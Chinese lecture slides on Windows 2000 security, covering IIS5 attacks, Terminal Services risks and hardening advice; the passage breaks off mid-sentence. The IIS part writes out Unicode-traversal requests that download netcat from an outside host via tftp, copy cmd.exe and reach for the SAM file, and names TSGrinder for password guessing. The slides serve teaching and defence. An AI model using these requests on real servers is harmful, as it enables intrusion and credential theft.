Win2k系统安全(2)胡建斌北京大学网络与信息安全研究室E-mail:hjbin@infosec.pku.edu.cn~hjbin目录1.IIS5的安全2.终端服务器安全3.MicrosoftInternet客户端的安全4.物理攻击5.拒绝服务攻击6.安全功能和工具IIS5的安全IIS5基础-基本HTTPHTTP:基于文本的无状态文件传输协议虚拟目录:files映射到该系统磁盘的一个实际目录上,如c:\inetpub\对于服务器而言则形成如下的请求:GET/files/index.htmlHTTP/1.0若该文件存在,则服务器会向客户端推送该文件并在客户端的浏览器上显示;否则会有各种错误代码IIS5基础-CGICGI:CommonGatewayInterface,运行在服务器上的应用程序,能针对每个请求生成动态的内容,扩展了Web功能调用CGIWindows中几乎所有的可执行程序都可以作为服务器端的CGI应用程序来执行其中cmd.exe经常被作为寻找的目标IIS5基础-ASP和ISAPIASP:ActiveServerPagesISAPI:InterfaceServerApplicationProgrammingInterface调用ASP=x&var2=y调用ISAPI攻击伎俩使用../进行文件系统遍历URL的十六进制编码使用../进行文件系统遍历通常是在目录上设置不当的NTFS访问控制列表所导致的的十六进制编码Http允许URL中使用十六进制编码形式输入字符串利用URL的十六进制编码攻击%2F%2E%2E%2F%2E%2E%2Fwinnt/repair/sam能避免入侵检测系统的检测,或可以导致应用程序错误处理输入IIS5缓冲区溢出IPP缓冲区溢出索引服务ISAPI扩展缓冲区溢出CodeRed蠕虫ida/idq缓冲区溢出FrontPage2000服务器扩展缓冲区溢出安全对策在系统驱动器之外的驱动器上安装Web文件夹Web服务器所在的卷应使用NTFS并谨慎设置ACL移动、删除或改名可能被利用的可执行文件:cacls,xcacls在服务器的Write和ExecuteACL中删除Everyone和UsersGroup掌握对日志中攻击标志的分析将文件写入Web服务器如在目标机上建立tftp服务器,然后上载文件:GET/scripts/..%c0%af../winnt/system32/tftp.exe?“-i”+192.168.234.31+GET+nc.exec:\nc.exeHTTP/1.0将netcat写入到C:\,因为默认情况下所有用户对C:\具有写权限如将目标机器上cmd.exe改名为cmdl.exeGET/scripts/..%c0%af../winnt/system32/cmd.exe?+copy+c:\winnt\system32\cmd.exe+c:\cmdl.exeHTTP/1.0其它自动上载工具:如unicodeloader等通过IIS5提升权限通过InProcesslsapiApps利用RevertToSelf安装MS01-026补丁可以解决源代码泄漏攻击起因IIS中的程序缺陷低劣的Web编程技术常见的漏洞+.htr(ism.dll)Webhits(webhits.dll)Translate:f(WebDAV,httpext.dll)WebDAV目录列表(httpext.dll)Web服务器安全评估工具StealthHTTPScannerSSLProxyAchillesWfetchWhiskerWeb服务器安全忠告在路由器、防火墙或其它位于Web服务器周边位置的设备上应用网路级的访问控制在主机级,阻塞Web服务器上所有不必要的流入和流出连接随时安装热修复:删除不必要的脚本映射和不使用的ISAPI应用程序DLL禁用不必要的服务在应用Web服务之前,强烈推荐使用SecurityTemplate来对其进行配置Web服务器安全忠告在系统卷之外建立一个独立的卷来存放Web根目录Web服务器所在的卷应使用NTFS文件系统,明确的设置ACL删除Everyone、Users和其它非特权组所在目录上的写文件和执行文件权限不要将私有数据保存在ASP文件或包含有文件中停止AdministrationWeb站点,删除IISAdmin和IISHelp虚拟目录以及它们对应的真实目录目录1.IIS5的安全2.终端服务器安全3.MicrosoftInternet客户端的安全4.物理攻击5.拒绝服务攻击6.安全功能和工具终端服务器安全TSWindows2000提供了交互式的图形化远程shell,称为终端服务(TerminalService,TS),适用于远程管理或应用程序共享引用的说法,“Windows2000终端服务使你能够从各种设备上,通过几乎任何类型的网络连接远程的基于Windows2000的服务器,并在其上远程执行应用程序”TSTS紧密集成在操作系统内部,免费提供远程管理模式(最多有两个同时连接的会语以及一个控制台)TS可以在你和服务器之间提供不同的认证和加密方法。对Windows2000来说,终端服务器正在逐渐成为与UNIX世界中的SSH一样重要的图形化产品TS的代价在本节中,我们将从安全的角度来考查TS的基本功能、如何识别和枚举TS、解决不合理的TS实现的问题、已知的针对TS的攻击,以及在网络环境中保护和管理TS的基本知识TS组件服务器远程桌面协议(RemoteDesktopProtocol,RDP)客户端TS服务器TS集成在所有Windows2000服务器中,通过控制面板中的Windows组件功能可以很容易地启用和禁用在以管理模式安装时,服务器是标准的组件;当作为远程应用程序服务器时,它需要额外的授权费用和架构服务器的默认监听端口为TCP3389(稍后将会介绍自行指定端口是很容易的)远程桌面协议(RDP)在客户端和服务器之间的数据传输是通过Microsoft的基于TCP的远程桌面协议(RDP-5)进行的RDP提供了三层加密以确保点对点数据传输的安全性:40、56或128位RC4与WindowsNT版本的RDP-4相比,Windows2000提供了更多的基本功能,可以在大多数的网络环境中高效的使用客户端通过MS安装程序(MSI)软件包安装的独立的16位或32位可执行文件终端服务高级客户端(TerminalServicesAdvancedAlient,TSAC),基于Win32的ActiveX控件,可以在Web页面中使用MMC管理单元尽管它们互相之间存在明显的区别,但各种不同的客户端都用完全相同的方法来实现RDP。因此,尽管它们看起来似乎不一样,但所有的TS客户端在与服务器进行对话时都以完全相同的方式进行操作修改TS监听端口-服务器端通过修改下面的注册表键值,TS的默认端口可以重新指定\HKLM\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp键值:PortNumberREG_DWORD=3389修改TS监听端口-客户端第一步是在TS客户端连接管理器中与目标主机建立连接一旦创建了一个连接之后,选定该连接并从File菜单中选择Export,将全部配置设置保存到以一个CNS为扩展名的文本文件中去使用文本编辑器打开这个文件,将ServerPort修改为在服务器上指定端口,如下例所示(自定义连接端口为7777)修改TS监听端口-客户端[CorpTermServ]WinPosStr=0,2,0,0,941,639Expand=1SmoothScrolling=0ShadowBitmapEnabled=1DedicatedTerminal=0ServerPort=7777EnableMouse=1[etc.]识别和查找TS3389端口扫描TSProbeTSEnum攻击TS密码猜测攻击用户权限提升畸形RDP拒绝服务攻击密码猜测攻击-TSGrinder.exeTS登录等价于真正的交互式登录,因此对真正的Administrator账户是不能设置锁定阈值的。这意味着在启用了TS服务的情况下,对密码猜测攻击来说,本地Administrator账户是一个最易受攻击的目标TimMullen开发了TSGrinder的工具,它能够通过TS对本地Administrator账户进行字典攻击密码猜测攻击-TSGrinder.exeTSGrinder使用TS的ActiveX控件来进行攻击。尽管这个ActiveX控件经过特殊的设计可以拒绝对密码方法的脚本访问,但通过C++中的vtable绑定仍然可以访问ImsTscNonScriptable接口方法。这允许为该控件编写自定义的接口,于是攻击者就可以对Administrator账户进行密码猜测,直至猜测出密码上提供下载密码猜测攻击的防御推荐将本地Administrator账户改名防御TS密码猜测攻击的另一种有趣的方法是为Windows登录窗口制作一个自定义的法律声明,通过添加或编辑如下的注册表键值就可以实现:HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinLogon用户权限提升推荐实现Windows2000ResourceKit中的一些关键功能其中最重要的是,“Appsec”可以使管理员能够限制用户只能运行特定的应用程序这能够减小攻击者在获取本地用户访问之后进行权限提升攻击的危险IME远程Root获取输入法编辑器(InputMethodEditor,IME)漏洞,这个漏洞导致可以不用提供任何凭据就能通过TS的认证IME用来将标准的101键键盘映射到某种语言中的大量可用字符,例如日语、中文和韩国语都需要IME。虽然IME通常在本地用户的上下文中进行正常操作,但登录时,IME却在SYSTEM上下文中运行。这使得通过远程服务器的登录屏幕运行精心设计的命令成为可能IME对策只有简体中文版系统或在初始安装过程中安装了简体中文IME的系统才会有这个漏洞Microsoft发布的公告MS00-069和补丁能够为所有受影响的版本解决这个问题畸形RDP拒绝服务2001年1月,YoichiUbukata和YoshihiroKawabata发现了RDP中的一个漏洞,这